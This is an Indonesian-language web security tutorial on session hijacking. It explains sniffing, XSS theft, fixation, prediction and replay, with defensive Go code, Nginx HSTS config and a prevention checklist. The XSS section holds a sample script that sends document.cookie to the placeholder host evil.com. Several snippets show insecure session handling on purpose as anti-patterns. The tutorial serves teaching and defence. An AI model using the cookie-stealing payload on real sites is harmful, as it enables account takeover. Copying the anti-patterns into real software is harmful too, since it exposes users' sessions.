Session Hijacking #

Session hijacking adalah serangan di mana attacker berhasil mendapatkan session identifier milik user lain dan menggunakannya untuk mengakses aplikasi seolah-olah mereka adalah user tersebut. Tidak perlu username. Tidak perlu password. Tidak perlu bypass MFA. Cukup dengan session token yang valid, server memperlakukan attacker sebagai user yang sah — karena dari perspektif server, memang tidak ada cara membedakannya.

Inilah yang membuat session hijacking sangat berbahaya: seluruh infrastruktur autentikasi yang sudah dibangun dengan susah payah — password hashing, MFA, rate limiting — bisa dibypass sepenuhnya jika session management-nya buruk. Engineer yang membangun flow autentikasi yang sempurna tapi tidak memperhatikan lifecycle session telah membangun tembok yang kokoh dengan pintu belakang yang terbuka.

Mengapa Session adalah Target yang Berharga #

HTTP adalah protokol yang stateless — setiap request berdiri sendiri, server tidak ingat request sebelumnya. Session adalah solusi untuk masalah ini: setelah user berhasil login, server menerbitkan token (session ID) yang digunakan user untuk membuktikan identitasnya di setiap request berikutnya.

Lifecycle sebuah session:

  1. User kirim credential (username + password + MFA)
  2. Server verifikasi credential
  3. Server generate session ID yang kuat secara kriptografis
  4. Session ID disimpan di server (database/Redis) dengan:
     - User ID yang terasosiasi
     - Waktu dibuat
     - Waktu terakhir aktif
     - Metadata (IP, User-Agent, dll)
  5. Session ID dikirim ke browser via cookie
  6. Di setiap request berikutnya:
     - Browser kirim cookie secara otomatis
     - Server lookup session ID → dapatkan user context
     - Server proses request sebagai user tersebut
  7. Session berakhir saat:
     - User logout (server invalidasi session)
     - Idle timeout terlewati
     - Absolute timeout tercapai

  Session ID = proxy untuk identitas user setelah autentikasi
  Siapapun yang memegang session ID valid = dianggap sebagai user itu
flowchart LR
    A[User Login] --> B[Server Verifikasi]
    B --> C[Generate Session ID]
    C --> D[("(Store: Redis/DB\nuser_id, created_at\nlast_active, metadata)")]
    C --> E[Set-Cookie: session=ID]
    E --> F[Browser]
    F --> G["Subsequent Request\nCookie: session=ID"]
    G --> H["Server Lookup\nSession ID"]
    H --> I["Auth Context\nDapatkan user"]
    I --> J[Process Request]

Setiap komponen dalam lifecycle ini adalah potensi attack vector. Session ID yang bisa disadap, ditebak, atau dipindahkan ke konteks lain — semua membuka pintu untuk hijacking.


Lima Jenis Session Hijacking #

1. Session Sniffing #

Session sniffing terjadi ketika attacker menangkap traffic jaringan dan mengekstrak session token dari HTTP request yang tidak terenkripsi.

Skenario session sniffing di jaringan publik:

  User di coffee shop terhubung ke WiFi bersama
  ↓
  Attacker di jaringan yang sama menjalankan Wireshark atau tcpdump
  ↓
  User membuka http://app.contoh.com (bukan HTTPS!)
  ↓
  Browser mengirim request:
    GET /dashboard HTTP/1.1
    Host: app.contoh.com
    Cookie: session=eyJhbGciOiJIUzI1NiJ9...

  ↓
  Attacker melihat packet ini di Wireshark
  ↓
  Attacker copy cookie value dan set di browser mereka
  ↓
  Attacker akses app.contoh.com dengan session korban
  → Account takeover tanpa perlu tahu password

Pencegahan:
  1. HTTPS wajib untuk semua halaman
  2. HSTS header: browser wajib HTTPS untuk domain ini
  3. Secure flag pada cookie: cookie tidak dikirim via HTTP
# Nginx — HTTPS redirect dan HSTS
server {
    listen 80;
    server_name app.contoh.com;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl;
    server_name app.contoh.com;

    # HSTS — paksa HTTPS selama 1 tahun, termasuk subdomain
    add_header Strict-Transport-Security
        "max-age=31536000; includeSubDomains; preload" always;

    # Konfigurasi SSL lainnya...
}

2. XSS-based Session Hijacking #

Jika ada celah XSS di aplikasi dan session cookie tidak menggunakan HttpOnly, attacker bisa mencuri session token melalui JavaScript.

// Payload XSS yang mencuri session cookie
// Disisipkan attacker di form komentar atau input lain yang rentan

<script>
// Ambil semua cookie yang tidak HttpOnly
const stolen = document.cookie;

// Kirim ke server attacker
new Image().src = 'https://evil.com/steal?data=' +
  encodeURIComponent(stolen) +
  '&url=' + encodeURIComponent(location.href);
</script>

// Dengan session token yang diterima, attacker bisa:
// 1. Set cookie di browser mereka
// 2. Akses aplikasi sebagai korban

// Pencegahan:
// - HttpOnly cookie: document.cookie tidak mengandung session token
// - CSP: membatasi script yang bisa jalan dan tujuan fetch
// - Fix XSS di aplikasi

3. Session Fixation #

Session fixation adalah serangan yang lebih canggih. Alih-alih mencuri session yang sudah ada, attacker menentukan session ID yang akan digunakan korban sebelum mereka login — kemudian menggunakan session yang sama setelah korban berhasil login.

sequenceDiagram
    participant A as Attacker
    participant V as Victim
    participant S as Server

    A->>S: GET /login
    S->>A: Set-Cookie: session=ATTACKER_KNOWN_ID

    Note over A: Attacker tahu session ID ini

    A->>V: Kirim link: https://app.com/login?sid=ATTACKER_KNOWN_ID
    Note over V: Atau via link yang mengeset cookie

    V->>S: GET /login (Cookie: session=ATTACKER_KNOWN_ID)
    V->>S: POST /login {email, password}
    S->>S: Verifikasi credential ✓
    S->>S: ✗ Tidak regenerasi session ID!
    S->>V: 200 OK (masih pakai session ATTACKER_KNOWN_ID)

    Note over A: Attacker tahu session ID korban!

    A->>S: GET /dashboard (Cookie: session=ATTACKER_KNOWN_ID)
    S->>A: 200 OK — Attacker masuk sebagai Victim!
// ANTI-PATTERN: tidak regenerasi session ID setelah login
func loginUnsafe(req Request, res Response) {
    email := req.Form("email")
    password := req.Form("password")
    user := verifyCredentials(email, password)

    if user != nil {
        // ✗ Session ID tetap sama — session fixation vulnerable!
        session.Set("user_id", user.ID)
        session.Set("logged_in", true)
        res.Redirect("/dashboard")
    }
}

// BENAR: selalu regenerasi session ID setelah login berhasil
func loginSafe(req Request, res Response) {
    email := req.Form("email")
    password := req.Form("password")
    user := verifyCredentials(email, password)

    if user != nil {
        // Simpan data yang perlu dibawa
        oldFlashMessages := session.Get("flash_messages")

        // ✓ Buat session baru yang berbeda — hapus yang lama
        session.Clear()       // hapus session lama sepenuhnya
        session.Regenerate()  // atau gunakan method regenerate jika tersedia

        // Set data session baru
        session.Set("user_id", user.ID)
        session.Set("logged_in", true)
        session.Set("created_at", time.Now().UTC().Format(time.RFC3339))
        session.Set("ip_at_login", req.RemoteAddr)
        session.Set("ua_at_login", req.UserAgent())

        // Kembalikan flash messages jika perlu
        session.Set("flash_messages", oldFlashMessages)

        res.Redirect("/dashboard")
    }
}

4. Session Prediction #

Jika session ID tidak dibuat dengan cara yang kriptografis aman, attacker bisa mencoba menebaknya secara brute force atau menemukan polanya.

// ANTI-PATTERN: session ID yang bisa ditebak
// Berbasis waktu — sequential dan predictable
var unsafeTimeID = strconv.FormatInt(time.Now().Unix(), 10)

// Random biasa — tidak kriptografis, bisa diprediksi dengan seed yang sama
var unsafeRandomID = strconv.Itoa(rand.Intn(900000) + 100000)

// MD5 dari user info — bisa di-reverse atau di-rainbow-table
var unsafeMd5ID = fmt.Sprintf("%x", md5.Sum([]byte(userID+email)))

// BENAR: session ID yang kriptografis aman
// 32 byte = 256 bit entropy
// URL-safe base64 encoding → string yang aman untuk cookie
func generateSessionID() string {
    return randomURLSafe(32)
}

// Verifikasi kekuatan session ID:
// randomURLSafe(32) menghasilkan ~43 karakter
// Entropy: 256 bit
// Kemungkinan brute force: 2^256 ≈ 10^77 kombinasi
// Dengan 1 miliar attempt per detik: butuh lebih dari umur alam semesta

5. Session Replay #

Session replay terjadi ketika session yang seharusnya sudah tidak valid — karena user logout, session expired, atau user sudah di lokasi berbeda — masih bisa digunakan karena server tidak memvalidasinya dengan benar.

Skenario session replay:

  Attacker mendapat session token korban (via XSS, sniffing, dll)
  Korban logout dari aplikasi
  ↓
  Server hanya hapus cookie di client (response.delete_cookie)
  Server TIDAK menginvalidasi session di backend
  ↓
  Attacker masih punya token yang lama
  Attacker set cookie secara manual di browser
  Attacker akses aplikasi → server lookup token → masih valid!
  → Account masih bisa diakses meski korban sudah logout

  Pencegahan:
  Logout harus invalidasi session di server, tidak hanya di client
// ANTI-PATTERN: logout hanya hapus cookie
func logoutUnsafe(res Response, req Request) {
    res.DeleteCookie("session") // hanya hapus di client
    res.Redirect("/login")
    // Session di Redis/DB masih ada dan masih valid!
}

// BENAR: invalidasi session di server DAN hapus cookie
func logoutSafe(res Response, req Request) {
    sessionToken := req.Cookie("session")

    if sessionToken != "" {
        // Hapus session dari storage backend
        redisClient.Delete("session:" + sessionToken)
        // Atau jika pakai database:
        // Session.query.filter_by(token=sessionToken).delete()
    }

    res.SetCookie(&http.Cookie{
        Name:     "session",
        Value:    "",
        MaxAge:   -1,
        HttpOnly: true,
        Secure:   true,
        SameSite: http.SameSiteLaxMode,
    })
    res.Redirect("/login")
}

Implementasi Session Management yang Benar #

Session Store yang Aman #

Session sebaiknya disimpan di backend store (Redis, database) — bukan hanya di cookie. Ini memungkinkan server untuk menginvalidasi session kapan saja.

// Session Store yang Aman — session berbasis Redis
func createSession(userID int, req Request) string {
    sessionToken := randomURLSafe(32)

    sessionData := map[string]string{
        "user_id":    strconv.Itoa(userID),
        "created_at": time.Now().UTC().Format(time.RFC3339),
        "last_active": time.Now().UTC().Format(time.RFC3339),
        "ip":          req.RemoteAddr,
        "user_agent":  truncate(req.UserAgent(), 200), // batasi panjang
    }

    // Simpan di Redis dengan TTL
    redisClient.HSet("session:"+sessionToken, sessionData)
    redisClient.Expire("session:"+sessionToken, SESSION_TTL_SECONDS)

    return sessionToken
}

func getSession(sessionToken string, req Request) map[string]string {
    if sessionToken == "" {
        return nil
    }

    data := redisClient.HGetAll("session:" + sessionToken)
    if len(data) == 0 {
        return nil
    }

    // Cek idle timeout
    lastActive, _ := time.Parse(time.RFC3339, data["last_active"])
    if time.Since(lastActive).Seconds() > float64(IDLE_TTL_SECONDS) {
        invalidateSession(sessionToken)
        return nil
    }

    // Perbarui last_active (rolling timeout)
    redisClient.HSet("session:"+sessionToken, "last_active",
        time.Now().UTC().Format(time.RFC3339))

    return data
}

func invalidateSession(sessionToken string) {
    redisClient.Delete("session:" + sessionToken)
}

func invalidateAllSessions(userID int) {
    // Logout dari semua device — berguna setelah password reset
    // Scan semua session key (di production, maintain set of user's sessions)
    // Atau simpan daftar session per user di Redis set
    userSessions := redisClient.SMembers(fmt.Sprintf("user_sessions:%d", userID))
    for _, token := range userSessions {
        redisClient.Delete("session:" + token)
    }
    redisClient.Delete(fmt.Sprintf("user_sessions:%d", userID))
}

Binding Session ke Konteks User #

Mengikat session ke konteks spesifik user menambahkan lapisan perlindungan: bahkan jika token dicuri, penggunaan dari konteks yang berbeda akan dideteksi.

// Binding session ke konteks user — memvalidasi bahwa request
// berasal dari konteks yang sama dengan saat session dibuat.
func validateSessionContext(session map[string]string, req Request) bool {
    // Cek User-Agent
    currentUA := req.UserAgent()
    sessionUA := session["user_agent"]

    // Perbandingan fleksibel — UA bisa berubah karena update browser
    // tapi perubahan drastis (Chrome → Firefox) mencurigakan
    if !userAgentsSimilar(currentUA, sessionUA) {
        logSuspiciousSession(session, req, "user_agent_mismatch")
        // Opsi: invalidasi session atau minta re-auth
        return false
    }

    // Cek perubahan IP address (opsional dan hati-hati)
    // IP bisa berubah secara legitimate (mobile network switch, VPN)
    // Jangan langsung invalidasi — gunakan untuk scoring risiko saja
    currentIP := req.RemoteAddr
    sessionIP := session["ip"]

    if currentIP != sessionIP {
        // Log sebagai anomali, tapi jangan langsung blokir
        logSuspiciousSession(session, req, "ip_changed")
        // Pertimbangkan risk scoring di sini
    }

    return true
}

// Cek apakah dua user agent dari browser yang sama.
func userAgentsSimilar(ua1, ua2 string) bool {
    // Extract browser name saja (Chrome, Firefox, Safari, dll)
    browserPattern := regexp.MustCompile(`(Chrome|Firefox|Safari|Edge|Opera)`)
    browser1 := browserPattern.FindString(ua1)
    browser2 := browserPattern.FindString(ua2)
    if browser1 != "" && browser2 != "" {
        return browser1 == browser2
    }
    return true // tidak bisa dibandingkan, anggap OK
}

Deteksi Anomali Session #

Monitoring aktif terhadap pola penggunaan session yang tidak normal adalah lapisan deteksi yang penting.

// Pola anomali yang perlu dideteksi:

func detectSessionAnomalies(sessionToken string, req Request) {
    session := getSession(sessionToken, req)
    if session == nil {
        return
    }

    anomalies := []Anomaly{}

    // 1. Deteksi concurrent session dari lokasi berbeda secara bersamaan
    activeLocations := getActiveLocationsForUser(session["user_id"])
    currentLocation := getGeoFromIP(req.RemoteAddr)
    if len(activeLocations) > 1 && !contains(activeLocations, currentLocation) {
        anomalies = append(anomalies, Anomaly{
            Type:   "concurrent_location",
            Detail: fmt.Sprintf("Active sessions from %v and %s", activeLocations, currentLocation),
        })
    }

    // 2. Deteksi penggunaan session dari geografis yang tidak mungkin
    // (login dari Jakarta, 5 menit kemudian dari New York)
    lastLocation := session["last_known_location"]
    if lastLocation != "" && isImpossibleTravel(
        lastLocation, currentLocation,
        5, // 5 menit tidak cukup untuk pindah benua
    ) {
        anomalies = append(anomalies, Anomaly{
            Type:   "impossible_travel",
            Detail: fmt.Sprintf("From %s to %s in a short time", lastLocation, currentLocation),
        })
    }

    // 3. Deteksi akses di luar jam normal user
    userTimezone := session["timezone"]
    localHour := getLocalHour(userTimezone)
    if localHour < 4 || localHour > 23 { // aktivitas antara 00:00-04:00 lokal
        anomalies = append(anomalies, Anomaly{
            Type:   "unusual_hour",
            Detail: fmt.Sprintf("Activity at %d:00 in the user's local time", localHour),
        })
    }

    if len(anomalies) > 0 {
        for _, anomaly := range anomalies {
            logSecurityEvent("session_anomaly", map[string]any{
                "session_token_hash": hashToken(sessionToken),
                "user_id":            session["user_id"],
                "anomaly":            anomaly,
                "request_ip":         req.RemoteAddr,
            })
        }

        // Trigger action berdasarkan severity
        if hasImpossibleTravel(anomalies) {
            // Langsung invalidasi session — ini sangat mencurigakan
            invalidateSession(sessionToken)
            sendSecurityAlertEmail(session["user_id"], anomalies)
        } else {
            // Minta re-autentikasi (step-up authentication)
            flagSessionForReauth(sessionToken)
        }
    }
}

Concurrent Session Control #

Membatasi berapa banyak session aktif yang boleh dimiliki satu user adalah cara efektif untuk mendeteksi dan membatasi dampak session hijacking.

const MAX_CONCURRENT_SESSIONS = 3

func createSessionWithLimit(userID int, req Request) string {
    // Dapatkan semua session aktif user ini
    userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
    activeSessions := redisClient.SMembers(userSessionsKey)

    // Jika sudah mencapai limit, hapus yang paling lama
    if len(activeSessions) >= MAX_CONCURRENT_SESSIONS {
        // Cari session tertua
        var oldestToken string
        var oldestTime time.Time

        for _, token := range activeSessions {
            sessionData := redisClient.HGet(fmt.Sprintf("session:%s", token), "created_at")
            if sessionData != "" {
                created, _ := time.Parse(time.RFC3339, sessionData)
                if oldestTime.IsZero() || created.Before(oldestTime) {
                    oldestTime = created
                    oldestToken = token
                }
            }
        }

        if oldestToken != "" {
            // Invalidasi session tertua
            invalidateSession(oldestToken)
            redisClient.SRem(userSessionsKey, oldestToken)
        }
    }

    // Buat session baru
    sessionToken := createSession(userID, req)

    // Track session ini untuk user
    redisClient.SAdd(userSessionsKey, sessionToken)
    redisClient.Expire(userSessionsKey, SESSION_TTL_SECONDS)

    return sessionToken
}

// Untuk fitur 'kelola device aktif' yang ditampilkan ke user.
func getUserActiveSessions(userID int) []SessionInfo {
    userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
    sessionTokens := redisClient.SMembers(userSessionsKey)

    sessions := []SessionInfo{}
    for _, token := range sessionTokens {
        data := redisClient.HGetAll(fmt.Sprintf("session:%s", token))
        if len(data) > 0 {
            sessions = append(sessions, SessionInfo{
                TokenLast4: token[len(token)-4:],
                CreatedAt:  data["created_at"],
                LastActive: data["last_active"],
                IP:         data["ip"],
                UserAgent:  truncate(data["user_agent"], 50),
            })
        }
    }

    return sessions
}

Session Expiration yang Benar #

Dua jenis timeout harus diterapkan bersama, bukan memilih salah satu:

// Perbedaan idle timeout dan absolute timeout:

// Idle timeout:
// → Session expired jika tidak ada aktivitas selama N menit
// → Melindungi dari sesi yang ditinggalkan (user lupa logout)
// → Bisa diperpanjang dengan aktivitas (sliding timeout)
var IDLE_TIMEOUT = 30 * time.Minute

// Absolute timeout:
// → Session expired N jam setelah dibuat, apapun yang terjadi
// → Memaksa re-autentikasi secara periodik
// → Membatasi window jika session sudah dikompromikan tanpa diketahui
var ABSOLUTE_TIMEOUT = 8 * time.Hour

func checkSessionValidity(session map[string]string) (bool, string) {
    now := time.Now().UTC()

    // Cek absolute timeout
    createdAt, _ := time.Parse(time.RFC3339, session["created_at"])
    if now.Sub(createdAt) > ABSOLUTE_TIMEOUT {
        return false, "absolute_timeout"
    }

    // Cek idle timeout
    lastActive, _ := time.Parse(time.RFC3339, session["last_active"])
    if now.Sub(lastActive) > IDLE_TIMEOUT {
        return false, "idle_timeout"
    }

    return true, ""
}

Anti-Pattern yang Harus Dihindari #

// ✗ Anti-pattern 1: session ID yang tidak kriptografis aman
func antiPattern1(user User) {
    sessionID := strconv.Itoa(user.ID) + strconv.FormatInt(time.Now().Unix(), 10)
    // Sequential, predictable → bisa ditebak
}

// ✗ Anti-pattern 2: tidak regenerasi session ID setelah login
// Session fixation vulnerability

// ✗ Anti-pattern 3: session tanpa expiry
func antiPattern3(token string, data map[string]any) {
    redisClient.HSet("session:"+token, data)
    // Tidak ada TTL → session berlaku selamanya → window hijacking tak terbatas
}

// ✗ Anti-pattern 4: logout tidak invalidasi di server
func antiPattern4(res Response) {
    res.DeleteCookie("session") // hanya hapus di client
}

// ✗ Anti-pattern 5: session ID panjang tapi disimpan di URL
// /dashboard?session=eyJhbGc...
// URL tersimpan di browser history, server log, referrer header

// ✗ Anti-pattern 6: tidak ada monitoring anomali
// Session yang dikompromikan tidak terdeteksi sampai user lapor

// ✗ Anti-pattern 7: semua session user dibiarkan aktif setelah password change
// Jika password diubah karena dikompromikan, semua session harus diinvalidasi
func changePassword(userID int, newPassword string) {
    updatePassword(userID, newPassword)
    // ✗ Lupa invalidasi semua session yang ada!
    // Attacker yang sudah punya session masih bisa akses
}

// ✓ Benar:
func changePasswordSafe(userID int, newPassword string, currentSessionToken string) {
    updatePassword(userID, newPassword)
    // Invalidasi semua session kecuali yang sedang aktif (opsional)
    invalidateAllSessionsExcept(userID, currentSessionToken)
    sendNotification(userID, "password_changed_all_devices_logged_out")
}

Checklist Session Hijacking Prevention #

SESSION GENERATION:
  □ Session ID menggunakan CSPRNG (secrets.token_urlsafe / SecureRandom)
  □ Minimal 128-bit entropy (16 byte / 22 karakter base64url)
  □ Session ID tidak mengandung informasi yang bisa ditebak (user ID, waktu)
  □ Session ID tidak pernah muncul di URL — selalu via cookie

COOKIE SECURITY:
  □ HttpOnly: true — tidak bisa diakses JavaScript
  □ Secure: true — hanya dikirim via HTTPS
  □ SameSite: Lax atau Strict — perlindungan CSRF
  □ Max-Age/Expires: session tidak berlaku selamanya

SESSION LIFECYCLE:
  □ Session ID di-regenerasi setelah login berhasil
  □ Session ID di-regenerasi setelah privilege escalation
  □ Idle timeout dikonfigurasi (30 menit adalah titik awal yang wajar)
  □ Absolute timeout dikonfigurasi (8 jam untuk aplikasi bisnis)
  □ Logout menginvalidasi session di server, tidak hanya hapus cookie
  □ Password change menginvalidasi semua session aktif

SESSION STORAGE:
  □ Session disimpan di backend (Redis/DB), bukan hanya di cookie
  □ Session menyimpan metadata: created_at, last_active, IP, User-Agent
  □ Session bisa diinvalidasi per-token dari server kapan saja

ANOMALY DETECTION:
  □ Concurrent login dari lokasi yang secara fisik tidak mungkin terdeteksi
  □ Perubahan User-Agent yang drastis di-log
  □ Aktivitas di luar jam normal user dicatat
  □ Alert dikirim ke user untuk aktivitas yang mencurigakan

CONCURRENT SESSION:
  □ Ada batas maksimum session aktif per user
  □ User bisa melihat dan mencabut session aktif mereka
  □ API untuk "logout dari semua device" tersedia

HTTPS:
  □ TLS aktif di semua environment (termasuk staging)
  □ HTTP redirect ke HTTPS untuk semua request
  □ HSTS header aktif dengan durasi yang panjang

Ringkasan #

  • Session adalah proxy untuk identitas — siapapun yang memegang session ID valid dianggap sebagai user oleh server. Ini menjadikannya target utama attacker yang ingin bypass autentikasi.
  • Lima vektor hijacking yang berbeda membutuhkan mitigasi yang berbeda — sniffing (HTTPS + Secure cookie), XSS (HttpOnly + CSP), fixation (regenerasi session ID), prediction (CSPRNG), replay (invalidasi server-side saat logout).
  • Session ID harus dibuat dengan CSPRNGsecrets.token_urlsafe(32) di Python, crypto.randomBytes(32) di Node.js. Bukan random biasa, bukan timestamp, bukan MD5 dari user data.
  • Regenerasi session ID setelah login adalah wajib — ini satu-satunya cara mencegah session fixation. Buat session baru yang sama sekali berbeda setelah kredensial diverifikasi.
  • Dua jenis timeout harus diterapkan bersamaan — idle timeout memproteksi session yang ditinggalkan, absolute timeout memaksa re-autentikasi periodik meski session terus digunakan.
  • Logout harus invalidasi di server, bukan hanya hapus cookie — cookie yang dihapus di client tidak mencegah replay attack jika session di backend masih valid.
  • Password change harus invalidasi semua session — jika password diubah karena dikompromikan, session attacker yang sudah ada harus ikut dihapus.
  • Binding session ke konteks menambahkan lapisan perlindungan — perubahan drastis User-Agent atau lokasi yang secara fisik tidak mungkin dalam waktu singkat adalah sinyal hijacking.
  • Concurrent session limit melindungi dan memberi visibilitas — membatasi jumlah session aktif sekaligus memungkinkan user melihat dan mencabut akses yang tidak dikenali.
  • Session management yang benar adalah fondasi semua mekanisme autentikasi lainnya — MFA, password kuat, dan rate limiting sia-sia jika session bisa dibajak.

← Sebelumnya: Http Only Cookie   Berikutnya: CSRF →

About | Author | Content Scope | Editorial Policy | Privacy Policy | Disclaimer | Contact